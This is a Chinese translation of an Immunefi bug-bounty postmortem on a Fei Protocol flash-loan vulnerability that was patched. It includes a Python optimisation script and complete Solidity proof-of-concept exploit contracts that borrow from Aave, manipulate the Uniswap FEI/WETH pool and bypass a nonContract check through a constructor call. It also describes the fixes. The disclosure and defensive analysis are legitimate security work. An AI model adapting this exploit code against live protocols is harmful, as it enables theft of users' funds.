Fei Protocol 闪电贷漏洞修复审查

  • Immunefi
  • 发布于 2023-02-10 12:44
  • 阅读 37

白帽黑客Alexander Schlindwein发现了Fei协议中的一个严重漏洞,该漏洞若被利用,可能导致并且协议损失60000 ETH,因而被授予80万美元的奖励。Fei协议是一个去中心化的算法稳定币协议,其执行过程中可以利用闪电贷对市场进行操控。快速借贷攻击可能允许攻击者以低于真正市场价格的价格购买FEI。协议已经实施了多个修复措施,确保此类漏洞不会再发生。包括禁止通过债券曲线的ETH存款直接进入Uniswap池,以及设置滑点参数以防止市场操控。整个事件强调了针对闪电贷的防御机制及修复措施的必要性。

总结

白帽黑客 Alexander Schlindwein,因发现 ArmorFi 中的关键漏洞而获得历史上最大的一次漏洞赏金,发现了 Fei Protocol 的一个关键漏洞。与此同时,Fei Protocol 的安全专家团队在 Joey Santoro 的带领下也发现了该漏洞,并立即暂停了合约。如果该漏洞被利用,将通过闪电贷款攻击导致协议损失 60,000 ETH(受限于生态系统中约 100 万 ETH 的闪电贷款可用量)。Alexander Schlindwein 于 5 月 2 日向 Immunefi 报告了此漏洞。该漏洞没有被利用,且没有资金损失。

Fei Protocol 将向 Alexander Schlindwein 奖励 800,000 美元的赏金,以 TRIBE 进行支付。此奖项是对 Alexander 在修复此漏洞中的贡献表示认可,并展示了 Fei Protocol 对白帽黑客和更广泛以太坊生态系统的承诺。这项赏金代表了 DeFi 历史上支付的最大赏金之一。Fei Protocol 还 发布了 此漏洞的审查报告。

漏洞分析

Fei Protocol 是一种去中心化的算法稳定币,通过多种方法保持 Fei 价格与锚定的稳定。一种方法是通过协议控制价值(PCV)。其核心理念是协议本身控制着 Uniswap V2 池中 ETH/FEI 交易对的一大部分流动性提供者代币(LP tokens)(一个 LP 代币代表在池中存入的每种代币的 pro rata 份额)。

漏洞概述是,由闪电贷款驱动的市场操纵可能会耗尽 Fei Protocol 的协议控制资金。

问题在于,任何人都可以调用 allocate(),该函数将协议控制的价值(协议控制的 ETH,PCV)以市场现行价格放入 Uniswap 池中(而不是按照设计的 ETH/USD 预言机价格)。此函数不能在创世期间调用,而创世期已结束,且在暂停期间也不能调用。

Address.isContractnonContract 修饰符旨在防止分配操作期间对 FEI 的价格操纵,但按照目前的写法,这个防护并不起作用。如果由合约的构造函数调用,可以绕过这个防护,我们在下面看到。

可以通过以下步骤说明该漏洞的利用:

1. 进行 WETH 的闪电贷款

2. 将 ETH 倾倒在 Uniswap ETH/FEI 池中。这会使 FEI 非常昂贵,ETH 变得非常便宜

3. 调用 ETH 绑定曲线 purchase 在协议设定的价格 $1.01 下购买 FEI,即使此时 Uniswap 池中的 FEI 市场价格远高于此价格

4. 构建一个虚拟合约,唯一目的是通过构造函数调用 allocate 以绕过 nonContract 修饰符

5. 从虚拟合约的构造函数调用 allocate,最终调用 addLiquidityETH 并使用 ETH/USD 预言机价格,但设置 100% 的滑点容忍度。这将把 PCV(以 ETH 形式)存入 Uniswap V2 池中,协议直接铸造/销毁 FEI 的对应数量。由于市场当前被闪电贷款扭曲,存入的 ETH 数量(相对于 FEI)远超非扭曲市场条件下的数量

6. 将新购买的 FEI 兑换回池中。这利用了在第 5 步中存入的多余 ETH。这会返回原始的 ETH,并且根据 Alexander 的计算,可额外获利达 60,000 ETH

7. 返回闪电贷款

选择将多少 ETH 倾倒进入 Uniswap 池与在绑定曲线购买的 ETH 数量是一个复杂的优化问题。Alexander Schlindwein 使用 GEKKO 编写了一个 Python 程序来选择可用闪电贷款资金的最佳分配:

lp2.py – Medium

# 此脚本计算漏洞利用的最佳值以实现最大利润。
# 它使用 GEKKO,一个非线性 (NLP) 求解器,以最大化目标函数,并满足约束条件。
from gekko import GEKKO
def main():
# 创建 GEKKO 模型
m = GEKKO()
############ CONSTANTS ############
# `peg` 是当前的预言机价格,用于计算给定 ETH 数量可购买的 FEI 数量。
peg = m.Param(value=3178.0327) # peg: https://etherscan.io/address/0x7a165F8518A9Ec7d5DA15f4B77B1d7128B5D9188#readContract
# `p0` 是 FEI/WETH Uniswap V2 池中的 WETH 数量
p0 = m.Param(value=141245.117) # 池中的 ETH:https://etherscan.io/tokenholdings?a=0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878
# `p1` 是 FEI/WETH Uniswap V2 池中的 FEI 数量
p1 = m.Param(value=463938347) # 池中的 FEI:https://etherscan.io/tokenholdings?a=0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878
############# NLP VARS ############
# `d` 和 `b` 是漏洞利用的负载,是此计算的输出。
#
# `d`:倾倒到 Uniswap 池的 WETH 数量。
# `b`:在绑定曲线购买 FEI 时花费的 WETH 数量。
#
# 漏洞利用将进行 `d + b` WETH 的闪电贷款。
#
# 两个变量都初始化为 50000,否则 NLP 将陷入局部最大值。
d = m.Var(lb=0, value=50000)
b = m.Var(lb=0, value=50000)
# 闪电贷款提供者,例如 Aave,可用的 WETH 数量有限。
# 由于漏洞利用将进行 `d + b` 的闪电贷款,我们需要限制最大允许大小。
# 攻击样本使用了 Aave,目前大约有 700K WETH 可用。
#
# 闪电贷款的金额越大,潜在利润越高。
# 在现实场景中,攻击者将从多个方 (Aave、dydx、各种 Uniswap V2 和 V3 池等) 获取闪电贷款以获取最高利润。
#
# 在概念验证中我们仅限于 Aave。但是,您仍然可以通过简单地增加下面的数字来运行此计算以使用更高的闪电贷款限制。执行概念验证
# 时使用结果值将失败,因为它超过了 Aave 的资金,但 NLP 求解器仍会输出正确的利润。
m.Equation(d + b <= 700000)
# 现在,我们开始建立一个输出利润的方程,并且该方程需要最大化。
# 1. 在 Uniswap FEI/WETH 池中倾倒 `d` WETH
# 池中的 WETH 增加了 `d`
p0_d = p0 + d
# 池中的 FEI 数量根据 Uniswap 的 x*y=k 公式减少
p1_d = (p0 * p1) / p0_d
# 我们得到的 FEI 数量是倾倒前后池中 FEI 余额的差异
r1_d = p1 - p1_d
# 2. 支付 `b` ETH 以从绑定曲线购买 FEI。
# 我们花费 `b` ETH 将得到 `b * peg` FEI。
r1_b = b * peg
# 3. 这是 `allocate()` 调用。 `EthUniswapPCVDeposit` 将 PCV 存入 Uniswap。所需的额外 FEI 被铸造。
# 池中的 WETH 数量增加了 `b`,即我们在上一步中花费的数量。
p0_b = p0_d + b
# 池中的 FEI 数量根据 Uniswap 的 x*y=k 公式增加
p1_b = p1_d * (p0_b / p0_d)
# 4. 使用第 1 和 2 步中接收到的 FEI 来从 Uniswap 池中购买 ETH
# 池中的 FEI 数量增加了我们在第 1 和 2 步中接收到的 FEI 数量
p1_f = p1_b + r1_d + r1_b
# WETH 数量根据 Uniswap 的 x*y=k 公式减少
p0_f = (p0_b * p1_b) / p1_f
# 我们得到的 WETH 数量是池中 WETH 余额前后差的数量
r0_f = p0_b - p0_f
# 总利润/损失计算为前一步输出的 WETH 减去需要偿还的闪电贷款资金。
r0 = r0_f - d - b
# 最大化利润函数
m.Maximize(r0)
# 运行求解器
m.options.IMODE = 3 # 稳态优化
m.solve()
print('')
print('结果')
# 目标是最终的 WETH 利润/损失。
# 注意,结果的符号在屏幕显示时被翻转。
# 原因在于 GEKKO 只能最小化目标。
# 然而,我们希望最大化它。
# 因此 `m.Maximize(r0)` 在内部被转换为 `m.Minimize(-r0)`。
print('目标: ' + str(m.options.objfcnval))
# `d` 的最佳找到值
print('d: ' + str(d.value))
# `b` 的最佳找到值
print('b: ' + str(b.value))
if name == "main":
main()

查看原文 lp2.pyGitHub 提供 ❤ 支持

以下概念验证攻击由 Alexander Schlindwein 编写,以演示该攻击:

Allocator.sol – Medium

pragma solidity ^0.6.0;
import "../bondingcurve/IBondingCurve.sol";
contract Allocator {
constructor(IBondingCurve bondingCurve) public {
// 我们从构造函数调用此内容
// 以绕过 `allocate()` 的非合约检查
bondingCurve.allocate();
}
}

查看原文 Allocator.solGitHub 提供 ❤ 支持

Exploit.sol – Medium

pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IERC20.sol";
import "./IWETH.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
import "./IUpdateableOracle.sol";
import "./IAaveLendingPool.sol";
import "./IFlashLoanReceiver.sol";
import "../bondingcurve/IBondingCurve.sol";
import "../external/Decimal.sol";
import "./Allocator.sol";
import "hardhat/console.sol";
contract Exploit is IFlashLoanReceiver {
IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA);
IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878);
IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65);
IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7);
uint private _aavePremium;
uint private _d;
uint private _b;
function start(uint d, uint b) external {
_d = d;
_b = b;
UNISWAP_ORACLE.update();
console.log("更新了预言机");
// 1. 从 Aave 获取 WETH 闪电贷款
address[] memory assets = new address;
assets[0] = address(WETH);
uint[] memory amounts = new uint;
amounts[0] = d + b;
uint[] memory modes = new uint;
modes[0] = 0;
AAVE_LENDING_POOL.flashLoan(address(this), assets, amounts, modes, address(0), "", 0);
// 结束 - 在 Aave .flashLoan 返回后
console.log("");
console.log("##################################");
console.log("ETH 余额", WETH.balanceOf(address(this)), WETH.balanceOf(address(this)) / 10**18);
}
function dump() internal {
// 2. 不平衡池:倾倒 ETH
WETH.approve(address(ROUTER_02), _d);
address[] memory path = new address;
path[0] = address(WETH);
path[1] = address(FEI);
ROUTER_02.swapExactTokensForTokens(_d, 1, path, address(this), uint(-1));
console.log("在 WETH/FEI 池倾倒了", _d / 10**18, "ETH");
buyFromBondingCurve();
}
function buyFromBondingCurve() internal {
// 3. 在绑定曲线购买 Fei
WETH.withdraw(_b);
ETH_BONDING_CURVE.purchase{value: _b}(address(this), _b);
console.log("以", _b / 10**18, "ETH 从绑定曲线购买了 Fei");
allocate();
}
function allocate() internal {
// 4. 从绑定曲线购买分配 ETH
newAllocator(ETH_BONDING_CURVE);
console.log("从 Fei 协议分配 ETH");
buyback();
}
function buyback() internal {
// 5. 从 WETH/FEI 池中购买 WETH
uint remainingBalance = FEI.balanceOf(address(this));
FEI.approve(address(ROUTER_02), remainingBalance);
address[] memory path = new address;
path[0] = address(FEI);
path[1] = address(WETH);
ROUTER_02.swapExactTokensForTokens(remainingBalance, 1, path, address(this), uint(-1));
console.log("在 WETH/FEI 池中交换了", remainingBalance / 10**18, "Fei");
repayETH();
}
function repayETH() internal {
// 6. 批准 Aave 进行闪电贷款偿还
WETH.approve(address(AAVE_LENDING_POOL), _d + _b + _aavePremium);
}
function executeOperation(address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params) external override returns (bool) {
_aavePremium = premiums[0];
console.log("接收到 WETH 闪电贷款,附带溢价", _aavePremium / 10**18);
dump();
console.log("正在偿还 ETH 闪电贷款");
return true;
}
receive() external payable {}
}

查看原文 Exploit.solGitHub 提供 ❤ 支持

最佳实践

最佳实践是在与去中心化交易所交互时使用预言机 滑点容忍度,以避免这种通过闪电贷款或夹击导致的市场操纵攻击。如果没有通过滑点容忍度强制执行的预言机价格,就无法知道 Uniswap 池报告的价格是否为实际市场情况确定的价格。

如果一个协议不使用带有滑点容忍度的预言机,并且其对闪电贷款的保护措施恰好存在缺陷,那么闪电贷款攻击将是灾难性的。

此外,使用 extcodesize 进行检查(如 OpenZeppelin 的 Address.isContract)以确定某个地址是否为合约,仅在您打算 包含 仅智能合约时才足够,而不能仅 排除 它们。对某些合约,例如那些正在构建中的合约,Address.isContract 将返回 false。目前,Solidity 不提供一种未来可持续的方法来测试某个地址是否为合约。require(msg.sender == tx.origin) 对于当前的柏林 EVM 有效,但 Vitalik 已公开声明 tx.origin 在未来版本可能不会再具有实际意义。

漏洞修复

Fei Protocol 暂时暂停了受影响的合约 EthBondingCurve.sol,并与 Alexander Schlindwein 和 OpenZeppelin 共同开发了修复方案。暂停在发现 EthUniswapPCVDeposit.sol 的暂停已经足够来缓解该漏洞后解除。在 OpenZeppelin 和 Immunefi 审核后,Fei 正在部署两项独立的修复措施,以防止此类攻击。

主要修复措施是协议通过绑定曲线存入的 ETH 不再提供给 ETH/FEI Uniswap 池。这完全消除了此攻击所使用的向量。相反,存入到绑定曲线的 ETH 被转向于储备稳定器,这是保持 FEI 价格低于锚定的机制。储备稳定器允许任何人以 $0.95 的价格从协议购买 ETH,为 FEI 的价格设置了一个坚实的底线。

第二项永久性缓解措施解决了 EthUniswapPCVDeposit 合约中的滑点参数。此修复将对 addLiquidityETH 调用的滑点设置为 ETH/USD 预言机价格的可配置百分比。合约 UniswapPCVDeposit 新增了一个方法 _getMinLiquidity,计算存入金额的可配置比例,以设置 amountTokenMinamountETHMin 参数给 addLiquidityETH。由于 EthUniswapPCVDeposit 合约始终按预言机价格存入,这设置了相对预言机的滑点,而不是相对当前市场 ETH/FEI 价格的滑点。目前,这个滑点设置为 1%。如果市场相对于预言机价格扭曲超过 1%,存款/分配交易将回滚。

这也保护 Fei 避免因夹击攻击而导致的市场操纵。仅仅修复 Address.isContractnonContract 修饰符并不能独自有效防止夹击攻击。

致谢

我们要感谢 Fei Protocol 的安全专家团队,他们独立发现了漏洞,并与白帽黑客 Alexander Schlindwein 一起协作,后者现在是 DeFi 中最重要的白帽黑客之一。Alexander 与 Fei Protocol 紧密合作制定了修复方案。我们还要感谢 Fei Protocol 与 Immunefi 合作开展漏洞赏金计划。如需报告其他漏洞,请查看 Fei Protocol 的 漏洞赏金计划 与 Immunefi。

如果您想开始寻找漏洞,我们来帮您。查看 Web3 安全库,并开始在 Immunefi 上获得奖励——这是针对 web3 的领先漏洞赏金平台,拥有世界上最大的赏金支付。

如果您有兴趣通过漏洞赏金来保护您的项目,请访问 Immunefi 服务 页面并填写表单。

  • 原文链接: medium.com/immunefi/fei-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,在这里修改,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Immunefi
Immunefi
The leading bug bounty platform for blockchain with the world's largest bug bounties.